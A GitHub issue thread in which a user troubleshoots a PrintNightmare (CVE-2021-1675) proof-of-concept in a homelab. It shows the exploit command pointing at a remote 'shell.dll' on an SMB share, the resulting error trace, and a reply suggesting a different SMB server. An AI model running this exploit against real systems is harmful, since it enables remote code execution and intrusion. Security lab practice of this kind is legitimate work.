Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

DCERPCSessionError: and RPRN SessionError: #71

Open
RunRenegade opened this issue Apr 19, 2024 · 1 comment
Open

DCERPCSessionError: and RPRN SessionError: #71

RunRenegade opened this issue Apr 19, 2024 · 1 comment

Comments

@RunRenegade
Copy link

Hi,

Attempting to run this PoC within my homelab and running into a few issues. Looked online and saw adding -smb2support might work, but it didn't change anything.

Running the following code;
sudo python3 CVE-2021-1675.py MARVEL.local/fcastle:[email protected] '\\192.168.71.151\share\shell.dll'

Getting the following output;

[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_ec1e73781eaf7fda\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\192.168.71.151\share\shell.dll
[*] Try 1...
Traceback (most recent call last):
  File "/home/kali/Documents/PJPT/CVE-2021-1675.py", line 188, in <module>
    main(dce, pDriverPath, options.share)
  File "/home/kali/Documents/PJPT/CVE-2021-1675.py", line 93, in main
    resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/impacket-0.9.24.dev1+20210704.162046.29ad5792-py3.11.egg/impacket/dcerpc/v5/rprn.py", line 633, in hRpcAddPrinterDriverEx
    return dce.request(request)
           ^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/impacket-0.9.24.dev1+20210704.162046.29ad5792-py3.11.egg/impacket/dcerpc/v5/rpcrt.py", line 878, in request
    raise exception
impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: unknown error code: 0x180

As a note, I am actually running this against workstations, not a DC. However, the pre-check flagged for the homelab host machines.

Any help appreciated, thanks.

@MiMaz7707
Copy link

Use smb instead of smbserver.py

but it will not return a shell

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants